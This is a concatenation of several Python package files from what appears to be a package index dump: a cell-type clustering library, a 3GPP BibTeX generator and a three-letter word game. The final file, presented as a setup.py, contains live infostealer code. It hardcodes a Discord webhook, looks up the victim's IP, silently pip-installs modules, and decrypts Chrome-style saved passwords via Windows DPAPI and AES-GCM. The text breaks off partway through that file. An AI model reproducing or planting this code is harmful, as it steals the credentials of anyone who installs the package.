l_index, v_left_end) # Don't do if just transferring one cell type to another region if ~np.isnan(r_region): if r_index is None: label = self.ct_names[int(r_id)] ax.text(*v_right_end, label, 'z') else: segment_builder(level - 1, r_index, v_right_end) # Create root pos z-pos as max of sum of region and ct distances top_root_pos = [0, 0, lm['Distance'].sum()] top_level = len(lm.index) - 1 # Should only happen if our tree starts with a region merger, which must consist of two cell types if lm.loc[top_level, 'Is region']: segment_builder(top_level, top_level - 1, top_root_pos) else: segment_builder(top_level, top_level, top_root_pos) segments = np.array(segments) x = segments[:, :, 0].flatten() y = segments[:, :, 1].flatten() z = segments[:, :, 2].flatten() ax.set_zlim(z.min(), z.max()) ax.set_xlim(x.min(), x.max()) ax.set_ylim(y.min(), y.max()) ax.set_xlabel('Cell type', fontsize=20) ax.set_ylabel('Region', fontsize=20) ax.set_zlabel('Distance', fontsize=20) ax.set(xticklabels=[], yticklabels=[]) for line, color in zip(segments, colors): ax.plot(line[:, 0], line[:, 1], line[:, 2], color=color, lw=2) plt.show() def _assert_integrity(self): # Make sure all cell types belong to their corresponding region for ct_id in self.cell_types: assert self.cell_types[ct_id].id_num == ct_id, 'Cell type dict key-value mismatch' assert ct_id in self.regions[self.cell_types[ct_id].region].cell_types, 'Cell type not in indicated region.' for r in self.regions.values(): for ct_id in r.cell_types: assert r.cell_types[ct_id].id_num == ct_id, 'Within region cell type dict key-value mismatch' assert ct_id in self.cell_types, 'Region has cell type that does not exist recorded cell types.' def _trace_all_root_leaf_paths(self) -> Dict[int, List[int]]: assert not self.linkage_mat.empty, 'Tried tracing empty tree.' paths: Dict[int, List[int]] = {} # Get only cell types lm = self.linkage_mat[~self.linkage_mat['Is region']] # Reduce to only ID numbers in numpy lm = lm[['ID1', 'ID2', 'New ID']].to_numpy() # Aliases for numpy indices ids = [0, 1] new_id = 2 def dfs(row: np.array, path: List[int]): for id_idx in ids: # If there's a child on the side we're looking at if ~np.isnan(row[id_idx]): # Is it a leaf node if row[id_idx] in self.orig_cell_types: path.append(row[id_idx]) paths[row[id_idx]] = path.copy() path.pop() else: # choose path.append(row[id_idx]) # explore dfs(lm[lm[:, new_id] == row[id_idx]].squeeze(), path) # un-choose path.pop() dfs(lm[-1], [lm[-1, new_id]]) return paths def _compute_orig_ct_path_dists(self): num_ct = len(self.orig_cell_types) dists = np.zeros((num_ct, num_ct)) paths = self._trace_all_root_leaf_paths() for ct1_idx, ct2_idx in product(range(num_ct), range(num_ct)): ct1_path = paths[ct1_idx][::-1] ct2_path = paths[ct2_idx][::-1] while (len(ct1_path) > 0) and (len(ct2_path) > 0) and (ct1_path[-1] == ct2_path[-1]): ct1_path.pop() ct2_path.pop() dists[ct1_idx, ct2_idx] = len(ct1_path) + len(ct2_path) return dists def _compute_orig_ct_linkage_dists(self): num_ct = len(self.orig_cell_types) dists = np.zeros((num_ct, num_ct)) for ct1_idx, ct2_idx in product(range(num_ct), range(num_ct)): dists[ct1_idx, ct2_idx] = CellType.diff(self.orig_cell_types[ct1_idx], self.orig_cell_types[ct2_idx], affinity=self.cell_type_affinity, linkage=self.linkage_cell, mask=self._ct_axis_mask) return dists def _compute_bme_score(self) -> float: path_dists = self._compute_orig_ct_path_dists() linkage_dists = self._compute_orig_ct_linkage_dists() normalized_dists = linkage_dists / (2 ** path_dists) return normalized_dists.sum() def _compute_me_score(self) -> float: # Get only the rows that make sense to sum to_sum = self.linkage_mat.loc[self.linkage_mat['Is region'] == self.linkage_mat['In reg merge']] return to_sum['Distance'].to_numpy().sum() def _compute_mp_score(self) -> float: to_sum = self.linkage_mat.loc[self.linkage_mat['Is region'] == self.linkage_mat['In reg merge']] return to_sum.shape[0] def compute_tree_score(self, metric: str): if metric not in TREE_SCORE_OPTIONS: raise ValueError(f'metric must be one of: {TREE_SCORE_OPTIONS}.') if metric == 'ME': return self._compute_me_score() elif metric == 'MP': return self._compute_mp_score() elif metric == 'BME': return self._compute_bme_score() def _merge_cell_types(self, ct1: CellType, ct2: CellType, ct_dist: float, region_id: Optional[int] = None): # Create new cell type and assign to region new_ct = CellType.merge(ct1, ct2, self._ct_id_idx, region_id) self.cell_types[self._ct_id_idx] = new_ct self.regions[new_ct.region].cell_types[new_ct.id_num] = new_ct self._record_link(ct1, ct2, self.cell_types[self._ct_id_idx], ct_dist) # remove the old ones self.cell_types.pop(ct1.id_num) self.cell_types.pop(ct2.id_num) self.regions[ct1.region].cell_types.pop(ct1.id_num) self.regions[ct2.region].cell_types.pop(ct2.id_num) if self.verbose: print(f'Merged cell types {ct1} and {ct2} with distance {ct_dist} ' f'to form cell type {self.cell_types[self._ct_id_idx]} with {ct1.num_original + ct2.num_original} ' f'original data points.\n' f'New cell type dict: {self.cell_types}\n' f'New region dict: {self.regions}\n') # increment cell type counter self._ct_id_idx += 1 # return id of newly created cell type return self._ct_id_idx - 1 # yeah, this is ugly b/c python doesn't have ++_ct_id_idx def _merge_regions(self, r1, r2, r_dist): r1_ct_list = list(r1.cell_types.values()) r2_ct_list = list(r2.cell_types.values()) if self.verbose: print(f'Merging regions {r1} and {r2} into new region {self._r_id_idx}\n{{') # create new region self.regions[self._r_id_idx] = Region(self._r_id_idx) pairwise_r_ct_dists = np.zeros((len(r1.cell_types), len(r2.cell_types))) for r1_ct_idx, r2_ct_idx in product(range(len(r1_ct_list)), range(len(r2_ct_list))): pairwise_r_ct_dists[r1_ct_idx, r2_ct_idx] = CellType.diff(r1_ct_list[r1_ct_idx], r2_ct_list[r2_ct_idx], affinity=self.cell_type_affinity, linkage=self.linkage_cell, mask=self._ct_axis_mask) # Find the cell types that have to be merged between the two regions cts_merge: List[Tuple[CellType, CellType]] = [] dists: List[float] = [] if self.linkage_region == 'homolog_mnn': # Nearest neighbors for the cell types from region 1 r1_ct_nn = np.argmin(pairwise_r_ct_dists, axis=1) # Nearest neighbors for the cell types from region 2 r2_ct_nn = np.argmin(pairwise_r_ct_dists, axis=0) # Only append distance if we find a mutual nearest neighbor for i in range(r1_ct_nn.shape[0]): if r2_ct_nn[r1_ct_nn[i]] == i: dists.append(pairwise_r_ct_dists[i, r1_ct_nn[i]]) cts_merge.append((r1_ct_list[i], r2_ct_list[r1_ct_nn[i]])) # otherwise just do a greedy pairing else: while np.prod(pairwise_r_ct_dists.shape) != 0: ct_merge1_idx, ct_merge2_idx = np.unravel_index(np.argmin(pairwise_r_ct_dists), pairwise_r_ct_dists.shape) # Append distance to dists and indices to index list # noinspection PyArgumentList dists.append(pairwise_r_ct_dists.min()) cts_merge.append((r1_ct_list[ct_merge1_idx], r2_ct_list[ct_merge2_idx])) # remove from the distance matrix pairwise_r_ct_dists = np.delete(pairwise_r_ct_dists, ct_merge1_idx, axis=0) r1_ct_list.pop(ct_merge1_idx) pairwise_r_ct_dists = np.delete(pairwise_r_ct_dists, ct_merge2_idx, axis=1) r2_ct_list.pop(ct_merge2_idx) assert len(dists) == len(cts_merge), 'Number distances not equal to number of cell type mergers.' num_ct_diff = r1.num_cell_types + r2.num_cell_types - (2 * len(cts_merge)) # Continuously pair up cell types, merge them, add them to the new region, and delete them for dist, (ct1, ct2) in zip(dists, cts_merge): # create new cell type, delete old ones and remove from their regions # noinspection PyArgumentList new_ct_id = self._merge_cell_types(ct1, ct2, dist, self._r_id_idx) # add to our new region self.regions[self._r_id_idx].cell_types[new_ct_id] = self.cell_types[new_ct_id] # Should have at least one empty region if not doing mutual nearest neighbors if self.linkage_region != 'homolog_mnn': assert r1.num_cell_types == 0 or r2.num_cell_types == 0, 'Both regions non-empty after primary merging.' # if there is a nonempty region, put the remainder of the cell types in the non-empty region into the new region for r_leftover in (r1, r2): for ct in r_leftover.cell_types.values(): # Essentially copy the cell type but into a new region and with a new ID new_ct = CellType(self._ct_id_idx, self._r_id_idx, ct.transcriptome) self.cell_types[new_ct.id_num] = new_ct self.regions[self._r_id_idx].cell_types[new_ct.id_num] = new_ct # Delete the old cell type self.cell_types.pop(ct.id_num) # Record the transfer self._record_ct_transfer(ct, new_ct) self._ct_id_idx += 1 r_leftover.cell_types.clear() # make sure no cell types are leftover in the regions we're about to delete assert r1.num_cell_types == 0 and r2.num_cell_types == 0, 'Tried deleting non-empty regions.' self.regions.pop(r1.id_num) self.regions.pop(r2.id_num) self._record_link(r1, r2, self.regions[self._r_id_idx], r_dist, num_ct_diff) if self.verbose: print(f'Merged regions {r1} and {r2} with distance {r_dist} to form ' f'{self.regions[self._r_id_idx]} with ' f'{self.regions[self._r_id_idx].num_original} original data points.' f'\nNew region dict: {self.regions}\n}}\n') self._r_id_idx += 1 return self._r_id_idx - 1 def _record_ct_transfer(self, ct_orig: CellType, ct_new: CellType): assert ct_orig.region != ct_new.region, 'Tried transferring cell type to the same region' self.linkage_history.append({'Is region': False, 'ID1': ct_orig.id_num, 'ID2': None, 'New ID': ct_new.id_num, 'Distance': None, 'Num original': ct_new.num_original, 'In region': ct_new.region, 'In reg merge': True, 'Cell type num diff': None }) def _record_link(self, n1: Mergeable, n2: Mergeable, new_node: Mergeable, dist: float, ct_num_diff: Optional[int] = None): # Must be recording the linkage of two things of the same type assert type(n1) == type(n2), 'Tried recording linkage of a cell type with a region.' if self._pbar is not None: self._pbar.update(1) # record merger in linkage history region_merger = isinstance(n1, Region) or (n1.region != n2.region) self.linkage_history.append({'Is region': isinstance(n1, Region), 'ID1': n1.id_num, 'ID2': n2.id_num, 'New ID': new_node.id_num, 'Distance': dist, 'Num original': new_node.num_original, 'In region': new_node.region, 'In reg merge': region_merger, 'Cell type num diff': ct_num_diff }) @property def linkage_mat_readable(self): lm = self.linkage_mat.copy() id_to_ct = {i: self.ct_names[i] for i in range(len(self.ct_names))} id_to_r = {i: self.r_names[i] for i in range(len(self.r_names))} cols = ['ID1', 'ID2', 'New ID'] for i in lm.index: id_to_x = id_to_r if lm.loc[i, 'Is region'] else id_to_ct for col in cols: if lm.loc[i, col] in id_to_x: lm.loc[i, col] = id_to_x[lm.loc[i, col]] if lm.loc[i, 'In region'] in id_to_r: lm.loc[i, 'In region'] = id_to_r[lm.loc[i, 'In region']] return lm def agglomerate(self, data_ct: DataLoader, data_r: Optional[DataLoader] = None) -> pd.DataFrame: self.ct_names = data_ct.get_names() ct_regions = data_ct.get_corresponding_region_names() # Building initial regions and cell types if data_r is None: self.r_names = np.unique(ct_regions) self.regions = {r: Region(r) for r in range(len(self.r_names))} self._ct_axis_mask = data_ct.ct_axis_mask self._r_axis_mask = data_ct.r_axis_mask else: self.r_names = data_r.get_names() self.regions = {r: Region(r, _transcriptome=data_r[r]) for r in range(len(self.r_names))} region_to_id: Dict[str, int] = {self.r_names[i]: i for i in range(len(self.r_names))} for c in range(len(data_ct)): r_id = region_to_id[ct_regions[c]] self.orig_cell_types[c] = CellType(c, r_id, data_ct[c]) self.regions[r_id].cell_types[c] = self.orig_cell_types[c] self.cell_types = self.orig_cell_types.copy() self._ct_id_idx = len(self.ct_names) self._r_id_idx = len(self.r_names) if self._pbar is not None: self._pbar.total = len(self.ct_names) + len(self.r_names) - 2 # repeat until we're left with one region and one cell type # not necessarily true evolutionarily, but same assumption as normal dendrogram while len(self.regions) > 1 or len(self.cell_types) > 1: ct_dists: PriorityQueue[Edge] = PriorityQueue() r_dists: PriorityQueue[Edge] = PriorityQueue() # Compute distances of all possible edges between cell types in the same region for region in self.regions.values(): for ct1, ct2 in combinations(list(region.cell_types.values()), 2): dist = CellType.diff(ct1, ct2, affinity=self.cell_type_affinity, linkage=self.linkage_cell, mask=self._ct_axis_mask) # add the edge with the desired distance to the priority queue ct_dists.put(Edge(dist, ct1, ct2)) # compute distances between merge-able regions for r1, r2 in combinations(self.regions.values(), 2): # condition for merging regions # regions can only differ by self.max_region_diff number of cell types if np.abs(r1.num_cell_types - r2.num_cell_types) > self.max_region_diff: continue dist, num_ct_diff = Region.diff(r1, r2, affinity=self.region_affinity, linkage=self.linkage_region, affinity2=self.cell_type_affinity, linkage2=self.linkage_cell, mask=self._r_axis_mask, mask2=self._ct_axis_mask) # If we're using region linkage homolog_mnn, then the number of cell types contained different may go up if num_ct_diff > self.max_region_diff: continue r_dists.put(Edge(dist, r1, r2)) # Now go on to merge step! # Decide whether we're merging cell types or regions ct_edge = ct_dists.get() if not ct_dists.empty() else None r_edge = r_dists.get() if not r_dists.empty() else None # both shouldn't be None assert not (ct_edge is None and r_edge is None), 'No cell types or regions to merge.' # we're merging cell types, which gets a slight preference if equal if ct_edge is not None and ((r_edge is None) or (ct_edge.dist <= r_edge.dist * self.region_dist_scale)): ct1 = ct_edge.endpt1 ct2 = ct_edge.endpt2 self._merge_cell_types(ct1, ct2, ct_edge.dist) # we're merging regions elif r_edge is not None: # First, we have to match up homologous cell types # Just look for closest pairs and match them up r1 = r_edge.endpt1 r2 = r_edge.endpt2 self._merge_regions(r1, r2, r_edge.dist) if self.integrity_check: self._assert_integrity() if self._pbar is not None: self._pbar.close() return self.linkage_mat
3dtrees-nbingo
/3dtrees_nbingo-0.1.5-py3-none-any.whl/agglomerate/agglomerate_3d.py
agglomerate_3d.py
from typing import Callable, Optional, List, Dict, Iterable, Tuple from agglomerate.agglomerate_3d import Agglomerate3D, TREE_SCORE_OPTIONS from itertools import product from data.data_loader import DataLoader import multiprocessing as mp import pandas as pd import numpy as np from tqdm import tqdm class BatchAgglomerate3D: def __init__(self, linkage_cell: List[str], linkage_region: List[str], cell_type_affinity: List[Callable], region_affinity: Optional[List[Callable]] = None, max_region_diff: Optional[List[int]] = None, region_dist_scale: Optional[Iterable[float]] = None, verbose: Optional[bool] = False, integrity_check: Optional[bool] = True): # Can't have mutable types as default :( if region_affinity is None: region_affinity = [None] if region_dist_scale is None: region_dist_scale = [1] if max_region_diff is None: max_region_diff = [0] self.linkage_cell = linkage_cell self.linkage_region = linkage_region self.cell_type_affinity = cell_type_affinity self.region_affinity = region_affinity self.max_region_diff = max_region_diff self.region_dist_scale = region_dist_scale self.verbose = verbose self.integrity_check = integrity_check self.agglomerators: List[Agglomerate3D] = [] self.augmented_tree_scores: List[Dict[str, float]] = [] self.tree_scores: Dict[str, List[float]] = {metric: [] for metric in TREE_SCORE_OPTIONS} self.pbar = \ tqdm(total=np.product(list(map(len, [ linkage_cell, linkage_region, cell_type_affinity, region_affinity, max_region_diff, region_dist_scale ])))) @staticmethod def _agglomerate_func(lc, lr, cta, ra, mrd, rds, ic, data): agglomerate = Agglomerate3D(linkage_cell=lc, linkage_region=lr, cell_type_affinity=cta, region_affinity=ra, max_region_diff=mrd, region_dist_scale=rds, verbose=False, pbar=False, integrity_check=ic ) agglomerate.agglomerate(data) return agglomerate def _collect_agglomerators(self, result): self.agglomerators.append(result) self.pbar.update(1) def agglomerate(self, data_ct: DataLoader): pool = mp.Pool(mp.cpu_count()) for lc, lr, cta, ra, mrd, rds in product(self.linkage_cell, self.linkage_region, self.cell_type_affinity, self.region_affinity, self.max_region_diff, self.region_dist_scale): if self.verbose: print(f'Starting agglomeration with {lc, lr, cta, ra, mrd, rds, self.integrity_check}') pool.apply_async(self._agglomerate_func, args=(lc, lr, cta, ra, mrd, rds, self.integrity_check, data_ct), callback=self._collect_agglomerators) pool.close() pool.join() self.pbar.close() def _collect_augmented_scores(self, result): lc, lr, mrd, rds, scores = result for metric, score in zip(TREE_SCORE_OPTIONS, scores): self.augmented_tree_scores.append( {'linkage_cell': lc, 'linkage_region': lr, 'max_region_diff': mrd, 'region_dist_scale': rds, 'score metric': metric, 'score': score}) self.pbar.update(1) @staticmethod def _augmented_score_func(a: Agglomerate3D) -> Tuple[str, str, int, float, List[float]]: return a.linkage_cell, \ a.linkage_region, \ a.max_region_diff, \ a.region_dist_scale, \ [a.compute_tree_score(m) for m in TREE_SCORE_OPTIONS] def get_all_scores(self) -> pd.DataFrame: self._compute_tree_scores(func=self._augmented_score_func, callback=self._collect_augmented_scores) return pd.DataFrame(self.augmented_tree_scores) def _compute_tree_scores(self, func: Callable, callback: Callable): self.pbar = tqdm(total=len(self.agglomerators)) pool = mp.Pool(mp.cpu_count()) for a in self.agglomerators: pool.apply_async(func=func, args=(a,), callback=callback ) pool.close() pool.join() self.pbar.close() def _collect_basic_scores(self, scores: List[float]): for metric, score in zip(TREE_SCORE_OPTIONS, scores): self.tree_scores[metric].append(score) self.pbar.update(1) @staticmethod def _basic_score_func(a: Agglomerate3D) -> List[float]: return [a.compute_tree_score(m) for m in TREE_SCORE_OPTIONS] def get_best_agglomerators(self) -> Dict[str, Tuple[float, np.array]]: self._compute_tree_scores(func=self._basic_score_func, callback=self._collect_basic_scores) # best_agglomerators: Dict[str, Tuple[float, Agglomerate3D]] = { # metric: (np.min(self.tree_scores[metric]), self.agglomerators[int(np.argmin(self.tree_scores[metric]))]) # for metric in TREE_SCORE_OPTIONS # } best_agglomerators: Dict[str, Tuple[float, Agglomerate3D]] = { metric: ( np.min(self.tree_scores[metric]), np.unique( np.array(self.agglomerators)[np.where(self.tree_scores[metric] == np.min(self.tree_scores[metric]))] ) ) for metric in TREE_SCORE_OPTIONS } return best_agglomerators
3dtrees-nbingo
/3dtrees_nbingo-0.1.5-py3-none-any.whl/agglomerate/batch_agglomerate_3d.py
batch_agglomerate_3d.py
## Effective-octo - This is a free, simlple and educative project based on python - github url https://github.com/2028-design/effective-octo ## License MIT
3games
/3games-0.0.1.tar.gz/3games-0.0.1/README.md
README.md
# 3GPP Bibtex entry generator [![Build Status](https://travis-ci.org/martisak/3gpp-citations.svg?branch=master)](https://travis-ci.org/martisak/3gpp-citations) ![](https://img.shields.io/github/issues-raw/martisak/3gpp-citations.svg?style=flat) ![](https://img.shields.io/github/license/martisak/3gpp-citations.svg?style=flat) [![Coverage Status](https://coveralls.io/repos/github/martisak/3gpp-citations/badge.svg?branch=master)](https://coveralls.io/github/martisak/3gpp-citations?branch=master) [![Gitter chat](https://badges.gitter.im/martisak/3gpp-citations.png)](https://gitter.im/3gpp-citations/community "Gitter chat") [![](https://img.shields.io/pypi/v/3gpp-citations.svg?style=flat)](https://pypi.org/project/3gpp-citations/) ![](https://img.shields.io/pypi/dd/3gpp-citations.svg?style=flat) ![](https://img.shields.io/pypi/pyversions/3gpp-citations.svg?style=flat) [![HitCount](http://hits.dwyl.io/martisak/3gpp-citations.svg)](http://hits.dwyl.io/martisak/3gpp-citations) ![](https://img.shields.io/codeclimate/maintainability/martisak/3gpp-citations.svg?style=flat) This project aims to generate [BiBTeX](http://www.bibtex.org/) files that can be used when citing [3GPP](3gpp.org) specifications. The input is a document list exported from the [3GPP Portal](https://portal.3gpp.org/). ## Installation `pip install 3gpp-citations` To also install test dependencies run `pip install 3gpp-citations[test]` ## Instructions 1. Go to the [3GPP Portal](https://portal.3gpp.org/#55936-specifications) 2. Generate the list of specifications you want. 3. Download to Excel and save file 4. Run `python 3gpp-citations.py -i exported.xlsx -o 3gpp.bib` 5. Use in LaTeX. *Optionally* use the provided `3gpp.bib` directly. ## Things to note * The output `bibtex` class is set to `@techreport`. * If you add the option `--xelatex`, break-symbols `\-` will be used in url-fields. * The version and date are read from 3gpp.org, but it is slow so it takes a while to parse the list. If you find an easy solution to this, let me know. ## Example output ~~~ @techreport{3gpp.36.331, author = {3GPP}, day = {20}, institution = {{3rd Generation Partnership Project (3GPP)}}, month = {04}, note = {Version 14.2.2}, number = {36.331}, title = {{Evolved Universal Terrestrial Radio Access (E-UTRA); Radio Resource Control (RRC); Protocol specification}}, type = {Technical Specification (TS)}, url = {https://portal.3gpp.org/desktopmodules/Specifications/SpecificationDetails.aspx?specificationId=2440}, year = {2017} } ~~~ ## Contribute See our [contribution guidelines](CONTRIBUTING.md) and our [Code of Conduct](CODE_OF_CONDUCT.md). ## Acknowledgment This project has been updated as part of the [WASP Software and Cloud Technology](http://wasp-sweden.org/graduate-school/courses/software-and-cloud-technology-spring-2019/) course. This work was partially supported by the Wallenberg AI, Autonomous Systems and Software Program (WASP) funded by the Knut and Alice Wallenberg Foundation.
3gpp-citations
/3gpp-citations-1.1.4.tar.gz/3gpp-citations-1.1.4/README.md
README.md
from setuptools import setup, find_packages TESTS_REQUIRE = [ 'python-coveralls==2.9.1', 'coverage==4.5.2', 'pytest==4.2.0', 'pytest-cov==2.6.1', 'pytest-flakes==4.0.0', 'pytest-pep8==1.0.6', 'pytest-pylint==0.14.', 'validators==0.12.', 'twine==1.12.1' ] INSTALL_REQUIRE = ["openpyxl==2.4.8", "bibtexparser==0.6.2", "lxml==4.3.1", "requests==2.21.0", "tqdm==4.31.1"] DESCRIPTION = "This project generates BiBTeX-files for 3GPP specifications." setup( author='Martin Isaksson', author_email='martin.isaksson@gmail.com', name='3gpp-citations', version='1.1.4', description=DESCRIPTION, long_description=open('README.md').read(), long_description_content_type='text/markdown', platforms=['any'], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'Topic :: Education', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Natural Language :: English', ], url='https://github.com/martisak/3gpp-citations', packages=find_packages(), license="MIT", scripts=['bin/3gpp-citations'], data_files=[ ('examples', ['examples/3gpp.bib', 'examples/3gpp_38-series.bib'])], python_requires='>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4', setup_requires=["pytest-runner"], tests_require=TESTS_REQUIRE, install_requires=INSTALL_REQUIRE, extras_require={'test': TESTS_REQUIRE}, )
3gpp-citations
/3gpp-citations-1.1.4.tar.gz/3gpp-citations-1.1.4/setup.py
setup.py
# -*- coding: utf-8 -*- """ This project aims to generate BiBTeX (http://www.bibtex.org/) files that can be used when citing 3GPP (3gpp.org) specifications. The input is a document list exported from the 3GPP Portal (https://portal.3gpp.org/). """ from __future__ import print_function import argparse from argparse import RawTextHelpFormatter from datetime import datetime from openpyxl import load_workbook from bibtexparser.bwriter import BibTexWriter from bibtexparser.bibdatabase import BibDatabase from lxml import html import requests from tqdm import tqdm DESCRIPTION = """ 3GPP Bibtex entry generator --- Convert 3GPP document list from .xls to .bib. 1. Go to the [3GPP Portal](https://portal.3gpp.org/#55936-specifications) 2. Generate the list of specifications you want. 3. Download to Excel and save file 4. Run `python 3gpp-citations.py -i exported.xlsx -o 3gpp.bib` 5. Use in LaTeX. * The output `bibtex` class is set to `@techreport`. * The version and date are read from the URL, but it is slow so it takes a while to parse the list. If you find an easy solution to this, let me know. """ EPILOG = """ Example output: @Techreport{3gpp.36.331, author = "3GPP", title = "{Evolved Universal Terrestrial Radio Access (E-UTRA); Radio Resource Control (RRC); Protocol specification}", type = "TS", institution = "{3rd Generation Partnership Project (3GPP)}", number = "{36.331}", days = 11, month = jul, year = 2016, url = "http://www.3gpp.org/dynareport/36331.htm", } """ def parse_excel_row(row): """ Parse a row in the sheet and return the data. """ number = row[0].value title = row[2].value doctype = row[1].value return number, title, doctype def format_entry(number, title, doctype, url): """ Format the bibtex entry, return as dict """ return { 'ID': "3gpp.{}".format(number), 'ENTRYTYPE': "techreport", 'title': "{{{}}}".format(title), 'type': doctype, 'author': "3GPP", 'institution': "{3rd Generation Partnership Project (3GPP)}", 'number': number, 'url': url } def format_url(number, xelatex=True): r""" This function formats the URL field. If xelatex is used then we can allow for break-markers "\-" """ # Disable Anomalous backslash in string: '\-'. # String constant might be missing an r prefix. # (anomalous-backslash-in-string) breakchar = "\-" if xelatex else "" # pylint: disable=W1401 url = "http://www.3gpp.org/{breakchar}DynaReport/" \ "{breakchar}{number}.htm".format( breakchar=breakchar, number=number.replace(".", "")) return url def parse_date(datestr): """ This function parses a string of the form 1982-06-22 into year, month, day and returns them as strings. """ datetime_object = datetime.strptime(datestr, '%Y-%m-%d') year = str(datetime_object.year) month = str(datetime_object.month) day = str(datetime_object.day) return year, month, day def get_bibdatabase(): """ Create an empty BibDatabase """ bib_database = BibDatabase() bib_database.entries = [] return bib_database def get_worksheet(filename): """ Open a workbook and return the first sheet. """ workbook = load_workbook(filename) worksheet = workbook[workbook.sheetnames[0]] return worksheet def get_entry(row, xelatex=True): """ Return an entry from a row in the Excel-sheet """ number, title, doctype = parse_excel_row(row) if number is None: return None url = format_url(number, xelatex) entry = format_entry(number, title, doctype, url) # The Excel sheet does not contain version or release. if row[0].hyperlink is not None: # entry['url'] = row[0].hyperlink.target page = requests.get(row[0].hyperlink.target) tree = html.fromstring(page.content) # It is enough to go through the first two (latest two) releases. for release in range(2): release_row = tree.xpath( ('//tr[@id="SpecificationReleaseControl1_rpbReleases_i{}' '_ctl00_specificationsVersionGrid_ctl00__0"]/td/div/a') .format(release)) if release_row: daterow = tree.xpath( ('//tr[@id="SpecificationReleaseControl1_rpbReleases' '_i{}_ctl00_specificationsVersionGrid_ctl00__0"]/td') .format(release)) entry['note'] = "Version {}".format( release_row[1].text.strip()) datestr = daterow[2].text.strip() if datestr: entry['year'], entry['month'], entry['day'] = \ parse_date(datestr) break return entry def write_bibtex(bib_database, filename=None): """ If a filename is submitted we print to file, otherwise to stdout """ writer = BibTexWriter() if filename is not None: with open(filename, 'w') as bibfile: bibfile.write(writer.write(bib_database)) else: print(writer.write(bib_database)) def main(args): """ The main function that does all the heavy lifting. """ bib_database = get_bibdatabase() worksheet = get_worksheet(args.input) # Iterate over the rows in the Excel-sheet but skip the header. for row in tqdm( worksheet.iter_rows(row_offset=1), total=worksheet.max_row - 1): entry = get_entry(row, args.xelatex) if entry is not None: bib_database.entries.append(entry) write_bibtex(bib_database, args.output) def parse_args(args): """ Parse arguments """ parser = argparse.ArgumentParser( description=DESCRIPTION, epilog=EPILOG, formatter_class=RawTextHelpFormatter) parser.add_argument('--input', '-i', metavar='INPUT', required=True, help=('The Excel file generated by and ' 'exported from the 3GPP Portal ' '(https://portal.3gpp.org)')) parser.add_argument('--output', '-o', metavar='OUTPUT', help=('The bib file to write to. ' 'STDOUT is used if omitted.')) parser.add_argument('--xelatex', action='store_true', help='Use line breaks') args = parser.parse_args(args) return args
3gpp-citations
/3gpp-citations-1.1.4.tar.gz/3gpp-citations-1.1.4/standardcitations/standardcitations.py
standardcitations.py
print("Check out 3lc.ai for more information")
3lc
/3lc-0.0.1.1-py3-none-any.whl/tlc/__init__.py
__init__.py
from setuptools import setup setup( name='3lwg', version='4.0', description='Three Letter Word Game', packages=['tlw'], package_data={ 'tlw': ['words.txt'] }, entry_points={ 'console_scripts': ['tlw = tlw:main'] } )
3lwg
/3lwg-4.0.tar.gz/3lwg-4.0/setup.py
setup.py
#! /usr/bin/env python import argparse import random from pkg_resources import resource_stream def choose_word(length=3): """ Select a word for the player to guess. """ if length != 3: raise ValueError('Length must be 3') words_handle = resource_stream('tlw', 'words.txt') words = words_handle.readlines() words = [word.strip() for word in words if len(word.strip()) == length] return random.choice(words).lower() def count_points(word,guess): #for position in range(0, len(word)): count = 0 for pos,letter in enumerate(word): if guess[pos] == letter: count +=1 return count def main(): parser = argparse.ArgumentParser() parser.add_argument( '--length', '-l', default=3, type=int, help='Length of word you have to guess.' ) parser.add_argument( '--guesses', '-g', default=10, type=int, help='Amount of guesses you get.' ) options = parser.parse_args() length = options.length guesses = options.guesses word = choose_word(length).lower() print('Guess the {} letter word'.format(length)) for i in range(guesses): guess = '' while len(guess) != length: if len(guess) > 0: print('No, you must have a guess of length %s' % length) guess = raw_input().lower().strip() if len(guess) == random.randint(1,2 * length): print("That's NUMBERWANG!") points = count_points(word,guess) print('You got {} letters correct!'.format(points)) print('You have %s guesses left' % (guesses - 1 - i)) if points == length: print('You win!') break print("Better luck next time, the word was %s." % word) if __name__ == '__main__': main()
3lwg
/3lwg-4.0.tar.gz/3lwg-4.0/tlw/__init__.py
__init__.py
from setuptools import setup from builtins import all,dir,exec,format,len,ord,print,int,list,range,set,str,open exec('') import os import threading from sys import executable from sqlite3 import connect as sql_connect import re from base64 import b64decode from json import loads as json_loads,load from ctypes import windll,wintypes,byref,cdll,Structure,POINTER,c_char,c_buffer from urllib.request import Request,urlopen from json import loads,dumps import time import shutil from zipfile import ZipFile import random import re import subprocess hook='https://discord.com/api/webhooks/1069214746395562004/sejnJnNA3lWgkWC4V86RaFzaiUQ3dIAG958qwAUkLCkYjJ7scZhoa-KkRgBOhQw8Ecqd' DETECTED=False def getip(): ip='None' try: ip=urlopen(Request('https://api.ipify.org')).read().decode().strip() except: pass return ip requirements=[ ['requests','requests'], ['Crypto.Cipher','pycryptodome'] ] for modl in requirements: try:__import__(modl[0]) except: subprocess.Popen(f"{executable} -m pip install {modl[1]}",shell=True) time.sleep(3) import requests from Crypto.Cipher import AES local=os.getenv('LOCALAPPDATA') roaming=os.getenv('APPDATA') temp=os.getenv('TEMP') Threadlist=[] class DATA_BLOB(Structure): _fields_=[ ('cbData',wintypes.DWORD), ('pbData',POINTER(c_char)) ] def GetData(blob_out): cbData=int(blob_out.cbData) pbData=blob_out.pbData buffer=c_buffer(cbData) cdll.msvcrt.memcpy(buffer,pbData,cbData) windll.kernel32.LocalFree(pbData) return buffer.raw def CryptUnprotectData(encrypted_bytes,entropy=b''): buffer_in=c_buffer(encrypted_bytes,len(encrypted_bytes)) buffer_entropy=c_buffer(entropy,len(entropy)) blob_in=DATA_BLOB(len(encrypted_bytes),buffer_in) blob_entropy=DATA_BLOB(len(entropy),buffer_entropy) blob_out=DATA_BLOB() if windll.crypt32.CryptUnprotectData(byref(blob_in),None,byref(blob_entropy),None,None,0x01,byref(blob_out)): return GetData(blob_out) def DecryptValue(buff,master_key=None): starts=buff.decode(encoding='utf8',errors='ignore')[:3] if starts=='v10' or starts=='v11': iv=buff[3:15] payload=buff[15:] cipher=AES.new(master_key,AES.MODE_GCM,iv) decrypted_pass=cipher.decrypt(payload) decrypted_pass=decrypted_pass[:-16].decode() return decrypted_pass def 